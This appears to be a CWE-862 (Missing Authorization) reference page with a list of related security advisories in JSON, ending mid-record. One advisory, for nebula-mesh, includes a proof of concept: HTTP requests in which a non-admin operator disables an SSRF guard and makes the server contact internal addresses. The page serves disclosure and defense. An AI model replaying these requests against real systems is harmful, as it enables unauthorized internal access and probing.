CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19853 vulnerabilities reference this CWE, most recent first.
GHSA-7RVM-47HF-M85C
Vulnerability from github – Published: 2025-11-26 18:31 – Updated: 2025-12-03 21:31Ruoyi v4.8.0 vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the resetPwd Method of SysUserController.java.
{
"affected": [],
"aliases": [
"CVE-2025-46174"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-26T16:15:47Z",
"severity": "HIGH"
},
"details": "Ruoyi v4.8.0 vulnerable to Incorrect Access Control. There is a missing checkUserDataScope permission check in the resetPwd Method of SysUserController.java.",
"id": "GHSA-7rvm-47hf-m85c",
"modified": "2025-12-03T21:31:01Z",
"published": "2025-11-26T18:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46174"
},
{
"type": "WEB",
"url": "https://gist.github.com/Han-tj/29543ce0dae8cbb3bcbedca3390844a9"
},
{
"type": "WEB",
"url": "https://gitee.com/y_project/RuoYi/commit/ea4af7a8cf54393b11d3d286e0aaeb3df8a9aaef"
},
{
"type": "WEB",
"url": "https://gitee.com/y_project/RuoYi/issues/IC1JZR"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RW2-4F63-2RGV
Vulnerability from github – Published: 2024-06-11 18:30 – Updated: 2024-06-11 18:30Missing Authorization vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.1.0.
{
"affected": [],
"aliases": [
"CVE-2024-32143"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T17:16:00Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Podlove Podlove Podcast Publisher.This issue affects Podlove Podcast Publisher: from n/a through 4.1.0.",
"id": "GHSA-7rw2-4f63-2rgv",
"modified": "2024-06-11T18:30:49Z",
"published": "2024-06-11T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32143"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/podlove-podcasting-plugin-for-wordpress/wordpress-podlove-podcast-publisher-plugin-4-1-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7RW5-9G4X-GF48
Vulnerability from github – Published: 2025-07-25 15:30 – Updated: 2025-07-25 15:30The ONLYOFFICE Docs plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization within its oo.callback REST endpoint in versions 1.1.0 to 2.2.0. The plugin’s permission callback only verifies that the supplied, encrypted attachment ID maps to an existing attachment post, but does not verify the requester’s identity or capabilities. This makes it possible for unauthenticated attackers to log in as an arbitrary user.
{
"affected": [],
"aliases": [
"CVE-2025-6380"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-24T10:15:26Z",
"severity": "CRITICAL"
},
"details": "The ONLYOFFICE Docs plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization within its oo.callback REST endpoint in versions 1.1.0 to 2.2.0. The plugin\u2019s permission callback only verifies that the supplied, encrypted attachment ID maps to an existing attachment post, but does not verify the requester\u2019s identity or capabilities. This makes it possible for unauthenticated attackers to log in as an arbitrary user.",
"id": "GHSA-7rw5-9g4x-gf48",
"modified": "2025-07-25T15:30:43Z",
"published": "2025-07-25T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6380"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/onlyoffice/tags/2.2.0/public/class-onlyoffice-plugin-public.php#L111"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/onlyoffice/tags/2.2.0/public/views/class-onlyoffice-plugin-callback.php#L57"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/onlyoffice/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/608b0506-074b-4df3-8c30-57cfb090f553?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7RWQ-965F-3P4J
Vulnerability from github – Published: 2026-10-21 18:33 – Updated: 2026-10-21 18:33The Pulsar broker serves two schema commands on its binary protocol: GetSchema, which returns the schema registered for a topic, and GetOrCreateSchema, which registers a new schema version for an existing topic. The broker handled both commands after checking only that the client connection was authenticated. Unlike the broker's other topic commands, such as those for creating producers and consumers or for looking up topics, these two commands did not check whether the authenticated client was authorized for the target topic. The Pulsar REST API endpoints for schemas were not affected.
An authenticated client without any permission on the target topic, namespace or tenant could use these commands to:
- read the schema registered for a topic in another namespace or tenant, disclosing the schema definition such as record field names and types. Message payloads are not disclosed.
- register a new schema version on an existing topic in another namespace or tenant. The topic's schema compatibility and schema auto-update policies still apply. The issue does not allow message data to be read or modified, but a registered schema version can cause legitimate producers and consumers of that topic to fail with schema incompatibility errors until the schema is corrected by an administrator.
The standard Pulsar client performs an authorized topic lookup before it sends these commands, so the missing check could not be observed when testing with the standard client. A client that implements the binary protocol directly is not required to perform that lookup first.
This issue is relevant only to deployments that have authentication and authorization enabled. The GetSchema command is affected from Apache Pulsar 2.2.0, and the GetOrCreateSchema command from Apache Pulsar 2.5.0. After the fix, the broker requires the lookup permission on the topic for GetSchema and the produce permission on the topic for GetOrCreateSchema. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be slightly different.
This issue affects Apache Pulsar versions from 2.2.0 before 4.0.14, from 4.1.0 through 4.1.3, and from 4.2.0 before 4.2.5.
- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.
Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.
The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.
{
"affected": [],
"aliases": [
"CVE-2026-105926"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-21T18:17:22Z",
"severity": "MODERATE"
},
"details": "The Pulsar broker serves two schema commands on its binary protocol: GetSchema, which returns the schema registered for a topic, and GetOrCreateSchema, which registers a new schema version for an existing topic. The broker handled both commands after checking only that the client connection was authenticated. Unlike the broker\u0027s other topic commands, such as those for creating producers and consumers or for looking up topics, these two commands did not check whether the authenticated client was authorized for the target topic. The Pulsar REST API endpoints for schemas were not affected.\n\nAn authenticated client without any permission on the target topic, namespace or tenant could use these commands to:\n\n- read the schema registered for a topic in another namespace or tenant, disclosing the schema definition such as record field names and types. Message payloads are not disclosed.\n- register a new schema version on an existing topic in another namespace or tenant. The topic\u0027s schema compatibility and schema auto-update policies still apply. The issue does not allow message data to be read or modified, but a registered schema version can cause legitimate producers and consumers of that topic to fail with schema incompatibility errors until the schema is corrected by an administrator.\n\nThe standard Pulsar client performs an authorized topic lookup before it sends these commands, so the missing check could not be observed when testing with the standard client. A client that implements the binary protocol directly is not required to perform that lookup first.\n\nThis issue is relevant only to deployments that have authentication and authorization enabled. The GetSchema command is affected from Apache Pulsar 2.2.0, and the GetOrCreateSchema command from Apache Pulsar 2.5.0. After the fix, the broker requires the lookup permission on the topic for GetSchema and the produce permission on the topic for GetOrCreateSchema. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be slightly different.\n\nThis issue affects Apache Pulsar versions from 2.2.0 before 4.0.14, from 4.1.0 through 4.1.3, and from 4.2.0 before 4.2.5.\n\n- 4.0.x version\u00a0users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version\u00a0users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.",
"id": "GHSA-7rwq-965f-3p4j",
"modified": "2026-10-21T18:33:29Z",
"published": "2026-10-21T18:33:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105926"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/45y22fqoqyfpc2hdmoct8cmgslz8ogkh"
},
{
"type": "WEB",
"url": "https://pulsar.apache.org/security/CVE-2026-105926"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7RWW-RVPX-33HF
Vulnerability from github – Published: 2026-09-21 21:31 – Updated: 2026-09-21 21:31jshERP through 3.6 is missing an authorization check on the POST /userBusiness/updateBtnStr endpoint that allows authenticated users to modify role button-permission definitions. Attackers can supply arbitrary roleId and btnStr parameters to overwrite button-permission configurations for any role in the tenant without privilege validation.
{
"affected": [],
"aliases": [
"CVE-2026-94414"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-21T19:17:20Z",
"severity": "MODERATE"
},
"details": "jshERP through 3.6 is missing an authorization check on the POST /userBusiness/updateBtnStr endpoint that allows authenticated users to modify role button-permission definitions. Attackers can supply arbitrary roleId and btnStr parameters to overwrite button-permission configurations for any role in the tenant without privilege validation.",
"id": "GHSA-7rww-rvpx-33hf",
"modified": "2026-09-21T21:31:53Z",
"published": "2026-09-21T21:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94414"
},
{
"type": "WEB",
"url": "https://github.com/LinYuanyi1/cve-request-poc/blob/master/jshERP/poc-06-userbusiness-btnstr-tamper.py"
},
{
"type": "WEB",
"url": "https://github.com/jishenghua/jshERP"
},
{
"type": "WEB",
"url": "https://github.com/jishenghua/jshERP/blob/v3.6/jshERP-boot/src/main/java/com/jsh/erp/controller/UserBusinessController.java#L149-L170"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jsherp-through-3.6-missing-authorization-via-updatebtnstr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7RX3-5WX3-5V76
Vulnerability from github – Published: 2026-07-14 20:28 – Updated: 2026-07-14 20:28Summary
Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.
Details
internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.
internal/webhook/webhook.go:294-296:
client := d.guarded
if tgt.AllowPrivate {
client = d.unguarded
}
d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.
Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).
PoC
Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.
Step 1 — create-side bypass, as the non-admin lowpriv operator:
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}
Actual response:
HTTP/1.1 201 Created
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}
201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.
Control — same non-admin key, same target, allow_private omitted (defaults false):
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request
{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}
Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.
Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:
RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
Same result holds for host.enrolled — any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.
Step 3 — reachability oracle:
GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}
last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string — a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.
Impact
A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests — conditional on target config, not guaranteed (IMDSv2's token requirement would block it).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.7.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/forgekeep/nebula-mesh"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:28:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nNon-admin operators (role `user`) can set `allow_private: true` on their own managed webhook subscription (`POST`/`PATCH /api/v1/webhook-subscriptions`). No admin check exists on this field. At delivery time, `allow_private` switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard \u2014 letting a low-privilege operator make the server request internal addresses.\n\n### Details\n\n`internal/api/webhooks.go:67` (`handleCreateWebhookSubscription`) and `:110` (`handleUpdateWebhookSubscription`) persist operator-supplied `AllowPrivate` with no role check \u2014 only ownership is enforced (`canAccessWebhookSub`), and that\u0027s not even called on create.\n\n`internal/webhook/webhook.go:294-296`:\n```go\nclient := d.guarded\nif tgt.AllowPrivate {\n client = d.unguarded\n}\n```\n`d.unguarded` skips the loopback/private/link-local rejection `config.ValidateWebhookURL` otherwise enforces.\n\nEvery other tenant-impacting toggle (network create `internal/api/networks.go:21`, settings PATCH `internal/api/settings.go:36`, CA management) gates on `isActiveAdmin`. `allow_private` is the exception \u2014 introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).\n\n### PoC\n\nVerified live against a real running instance of nebula-mesh (HEAD `2c3457c`, built and run locally, no third-party requests made \u2014 the \"internal service\" below is a loopback listener standing in for one). Setup: `nebula-mgmt init` + `serve` on `127.0.0.1:8181`; admin CLI creates operator `lowpriv` with `-role user` and mints it an API key (`d984bb...c7c`) \u2014 the routine, legitimate way any non-admin operator gets access. `lowpriv` self-mints its own CA (`POST /api/v1/cas`, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.\n\n**Step 1 \u2014 create-side bypass, as the non-admin `lowpriv` operator:**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":true,\"events\":[\"host.enrolled\"]}\n```\n\nActual response:\n\n```\nHTTP/1.1 201 Created\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\",\"owner_operator_id\":\"a4ec02d3-c7ae-412d-a2ff-567d36315191\",\"url\":\"http://127.0.0.1:9999/internal-admin\",\"events\":[\"host.enrolled\"],\"active\":true,\"allow_private\":true,\"has_secret\":false,\"consecutive_failures\":0,\"created_at\":\"2026-07-01T13:38:22.637847+07:00\",\"updated_at\":\"2026-07-01T13:38:22.637847+07:00\"}\n```\n\n`201 Created`, `allow_private:true` persisted, `owner_operator_id` is the non-admin `lowpriv` account (`role: \"user\"`). No `403 Forbidden` \u2014 which is what every comparable admin-gated endpoint (`POST /api/v1/networks`, `PATCH /api/v1/settings`) returns for this same non-admin key.\n\n**Control \u2014 same non-admin key, same target, `allow_private` omitted (defaults false):**\n\n```\nPOST /api/v1/webhook-subscriptions HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\nContent-Type: application/json\n\n{\"url\":\"http://127.0.0.1:9999/internal-admin\",\"allow_private\":false}\n```\n\n```\nHTTP/1.1 400 Bad Request\n\n{\"error\":\"url: \\\"127.0.0.1\\\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink\"}\n```\n\nConfirms the guard is real and active for this exact target \u2014 `allow_private:true` in Step 1 is what disabled it.\n\n**Step 2 \u2014 delivery-side SSRF.** A Python `http.server` listener bound `127.0.0.1:9999`, logging every request it receives. `lowpriv` fires a host-lifecycle event on the host it owns:\n\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n```\nPOST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\nBoth returned `200 OK`. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:\n\n```\nRECEIVED: /internal-admin {\"id\":\"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6\",\"type\":\"host.unblocked\",\"created_at\":\"2026-07-01T06:42:11.5305Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\nRECEIVED: /internal-admin {\"id\":\"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c\",\"type\":\"host.blocked\",\"created_at\":\"2026-07-01T06:42:11.543246Z\",\"data\":{\"ca_id\":\"74cb77b9-2adf-499c-b1d6-707b49486a7e\",\"host_id\":\"48103bac-66e9-43bd-9211-8d574e0877e9\",\"host_name\":\"poc-host\",\"network_id\":\"eacf739f-f57d-4cbc-b391-2a0996c72b98\"}}\n```\n\nSame result holds for `host.enrolled` \u2014 any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.\n\n**Step 3 \u2014 reachability oracle:**\n\n```\nGET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1\nAuthorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c\n```\n\n```\nHTTP/1.1 200 OK\n\n{\"id\":\"bcad45e0-acc5-47ac-bb48-c4fc66959e50\", ... ,\"last_delivery_at\":\"2026-07-01T13:42:11.544244+07:00\",\"last_status\":\"ok\",\"consecutive_failures\":0, ...}\n```\n\n`last_status`/`last_error` confirm delivery outcome and, on failure, the dial/connection error string \u2014 a reachability oracle over internal addresses. The dispatcher\u0027s delivery-recording path stores success/failure and error text only, never the target\u0027s response body.\n\n### Impact\n\nA non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests \u2014 conditional on target config, not guaranteed (IMDSv2\u0027s token requirement would block it).",
"id": "GHSA-7rx3-5wx3-5v76",
"modified": "2026-07-14T20:28:42Z",
"published": "2026-07-14T20:28:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0"
},
{
"type": "PACKAGE",
"url": "https://github.com/forgekeep/nebula-mesh"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`"
}
GHSA-7RX6-4VWV-432G
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2023-10-27 14:26Jenkins CloudBees CD Plugin does not perform a permission check in an HTTP endpoint.
This allows attackers with Item/Read permission to schedule builds of projects without having Item/Build permission.
Jenkins CloudBees CD Plugin requires Item/Build permission to schedule builds via its HTTP endpoint.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:electricflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.18.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:electricflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.19"
},
{
"fixed": "1.1.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21647"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-13T19:28:45Z",
"nvd_published_at": "2021-04-21T15:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins CloudBees CD Plugin does not perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Item/Read permission to schedule builds of projects without having Item/Build permission.\n\nJenkins CloudBees CD Plugin requires Item/Build permission to schedule builds via its HTTP endpoint.",
"id": "GHSA-7rx6-4vwv-432g",
"modified": "2023-10-27T14:26:45Z",
